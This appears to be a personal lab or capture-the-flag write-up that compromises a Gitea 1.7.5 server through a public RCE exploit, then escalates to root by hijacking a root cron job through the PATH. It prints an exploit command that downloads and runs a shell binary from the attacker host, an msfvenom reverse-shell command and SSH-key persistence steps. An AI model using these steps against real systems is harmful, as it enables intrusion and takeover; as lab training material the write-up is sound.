Enumration

2021年7月24日 17:31

1: Use autorecon to enumerate its services, **21, 22, 2222, 3000** are open
2: FTP does not support anonymous login, and weak credentials do not work, too.
3: 22 and 2222 are all SSH service
4: Port **3000** can be accessed by **HTTP**. It is **Gitea 1.7.5**, which has a **RCE** vulnerability. The exploit can be found here (https://www.exploit-db.com/exploits/49383)
5: Default credential admin:admin does not work, however I can **register a new user**, and the registered user is an **admin user**
6: I can gather some server's info on http://192.168.156.67:3000/admin/config

Foothold

2021年7月24日 17:32

1: Download previously mentioned exploit, **edit some values** like this

```
USERNAME = "admin1"
PASSWORD = "123123"
HOST_ADDR = '192.168.49.156'
HOST_PORT = 3000
URL = 'http://192.168.156.67:3000'

CMD = 'wget http://192.168.49.156:22/shell.elf; chmod 777 shell.elf; ./shell.elf '
```

2: Set a netcat listener with port **2222**, **python3 exploit.py**. This server has strict **firewall rules**, only **21, 22, 2222, 3000** are available.
3: Get a reverse shell
4: cat /home/chloe/local.txt
5: Upload my public key to chloe's **.ssh** folder as **authorized_keys**
6: **ssh -I id_rsa chloe@192.168.156.67**
7: Log in successfully, now I have a stable shell

Privilege Escalation

2021年7月24日 17:32

1: Run linpeas.sh script, and I find that PATH **/usr/local/bin** is ahead of **/usr/bin**. It means if I **write a file** which shares **the same name** with a **file ran by root** to **/usr/local/bin**, my written file will be executed instead
2: **cat /etc/crontab**, I find a binary file **run-parts** is ran by root every 5 minutes. And it is locateds in **/usr/bin**
3: Generate a reverse shell, **msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.49.156 LPORT=2222 -f elf >run-parts**
4: Download it to **/usr/local/bin**, shut down the first netcat listener and restart it with the same port 2222
5: Wait for up to 5minues
6: Get a root reverse shell, cat /root/proof.txt

Review

2021年7月24日 17:32

1: Target **HTTP** service
2: **Register a new user** instead of **trying weak/default credential**
3: Be aware of **strict firewall rules**
4: Edit the exploit correctly, understand **how does it work**
5: **Upload public key** to get a ssh shell
6: Identify **unusual PATH** and a **scheduled task** ran by root and does not use **full path**
7: Download a reverse shell payload to the unusual PATH, **replace** the one located in **/usr/bin**
8: Wait for being executed by root